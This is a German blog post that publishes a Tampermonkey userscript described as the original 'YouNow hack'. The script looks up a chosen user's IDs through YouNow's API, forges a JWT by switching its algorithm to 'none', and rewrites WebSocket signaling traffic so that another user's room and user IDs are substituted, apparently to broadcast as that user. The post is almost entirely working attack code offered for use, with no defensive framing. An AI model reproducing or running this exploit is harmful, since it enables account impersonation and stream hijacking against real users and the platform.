Hier exklusiv das originale Script vom YouNow-Hack!

// ==UserScript==
// @name         JunauBrotkastAs
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        https://www.younow.com/*
// @grant        none
// @run-at       document-end
// ==/UserScript==
window.fakeChannelId = null;
window.fakeRoomId = null;

window.modifyToken = function(oldToken) {
    var replaceBase64Chars = function(str) {
        // Remove padding equal characters
         str = str.replace(/=+$/, '');

        // Replace characters according to base64url specifications
        str = str.replace(/\+/g, '-');
        str = str.replace(/\//g, '_');
        return str;
    }

    // info.data.signature
    var tokenParts = oldToken.split(".");
    if(tokenParts.length != 3) alert("Invalid JWT");
    // Mofify algorithm to 'none'
    var plainHeader = atob(tokenParts[0]);
    var parsedHeader = JSON.parse(plainHeader);
    parsedHeader.alg = "none";
    plainHeader = JSON.stringify(parsedHeader);
    // Extract & parse data
    var plainData = atob(tokenParts[1]);
    var parsedData = JSON.parse(plainData);
    // Modify younow room-id & channel(user)id
    parsedData.roomId = window.fakeRoomId.toString();
    parsedData.userId = window.fakeChannelId.toString();
    plainData = JSON.stringify(parsedData);
    // Compose new token
    var newToken = replaceBase64Chars(btoa(plainHeader)) + "." + replaceBase64Chars(btoa(plainData)) + "." + replaceBase64Chars(tokenParts[2]);
    return newToken;
}

var channelName = window.prompt("Username eingeben");
if(channelName) {
    var url = "https://api.younow.com/php/api/broadcast/info/curId=0/user=" + channelName;
    var xhr = new XMLHttpRequest();
    xhr.open("GET", url, true);
    xhr.onload = function (e) {
        if (xhr.readyState === 4) {
            if (xhr.status === 200) {
                console.log(xhr.responseText);
                var response = JSON.parse(xhr.responseText);
                if(window.fakeChannelId == null) window.fakeChannelId = parseInt(response.userId);
                window.fakeRoomId = response.broadcastId.toString();
                console.log(window.fakeRoomId);
                console.log(window.fakeChannelId);

            } else {
                console.error(xhr.statusText);
            }
        }
    };
    xhr.onerror = function (e) {
        console.error(xhr.statusText);
    };
    xhr.send(null);
}
var signalingHook = {};
(function () {
    function MutableMessageEvent(o) {
        this.bubbles = o.bubbles || false
        this.cancelBubble = o.cancelBubble || false
        this.cancelable = o.cancelable || false
        this.currentTarget = o.currentTarget || null
        this.data = o.data || null
        this.defaultPrevented = o.defaultPrevented || false
        this.eventPhase = o.eventPhase || 0
        this.lastEventId = o.lastEventId || ''
        this.origin = o.origin || ''
        this.path = o.path || new Array(0)
        this.ports = o.parts || new Array(0)
        this.returnValue = o.returnValue || true
        this.source = o.source || null
        this.srcElement = o.srcElement || null
        this.target = o.target || null
        this.timeStamp = o.timeStamp || null
        this.type = o.type || 'message'
        this.__proto__ = o.__proto__ || MessageEvent.__proto__
    }

    var before = signalingHook.before = function (data, url, wsObject) {
        return data
    }
    var after = signalingHook.after = function (e, url, wsObject) {
        return e
    }
    signalingHook.resetHooks = function () {
        signalingHook.before = before
        signalingHook.after = after
    }

    var _WS = WebSocket
    WebSocket = function (url, protocols) {
        if (window.fakeRoomId && url.indexOf("signaling.younow-prod.video.propsproject.com") >= 0) {
            var wsUrl = new URL(url);
            var wsParams = new URLSearchParams(wsUrl.search);
            wsParams.set("roomId", window.fakeRoomId);
            wsParams.set("token", window.modifyToken(wsParams.get("token")));
            wsUrl.search = wsParams.toString();
            url = wsUrl.toString();
        }

        var WSObject
        this.url = url
        this.protocols = protocols
        if (!this.protocols) {
            WSObject = new _WS(url)
        } else {
            WSObject = new _WS(url, protocols)
        }

        var _send = WSObject.send
        WSObject.send = function (data) {
            arguments[0] = signalingHook.before(data, WSObject.url) || data
            _send.apply(this, arguments)
        }

        WSObject._addEventListener = WSObject.addEventListener
        WSObject.addEventListener = function () {
            var eventThis = this
            if (arguments[0] === 'message') {
                arguments[1] = (function (userFunc) {
                    return function instrumentAddEventListener() {
                        arguments[0] = signalingHook.after(new MutableMessageEvent(arguments[0]), WSObject.url, WSObject)
                        if (arguments[0] === null) return
                        userFunc.apply(eventThis, arguments)
                    }
                })(arguments[1])
            }
            return WSObject._addEventListener.apply(this, arguments)
        }

        Object.defineProperty(WSObject, 'onmessage', {
            'set': function () {
                var eventThis = this
                var userFunc = arguments[0]
                var onMessageHandler = function () {
                    arguments[0] = signalingHook.after(new MutableMessageEvent(arguments[0]), WSObject.url, WSObject)
                    if (arguments[0] === null) return
                    userFunc.apply(eventThis, arguments)
                }
                WSObject._addEventListener.apply(this, ['message', onMessageHandler, false])
            }
        })

        return WSObject
    }
})();

WebSocket.OPEN = 1;

(function () {
    signalingHook.before = function (data, url) {
        if (window.fakeRoomId == null || url.indexOf("wss://signaling.younow-prod.video.propsproject.com/") != 0) return data;
        var parsedSignallingMessage = JSON.parse(data);
        parsedSignallingMessage.roomId = window.fakeRoomId;
        parsedSignallingMessage.userId = window.fakeChannelId;
        if(parsedSignallingMessage.token) parsedSignallingMessage.token = window.modifyToken(parsedSignallingMessage.token);
        return JSON.stringify(parsedSignallingMessage);
    }
})();
Kategorien: Allgemein

0 Kommentare

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.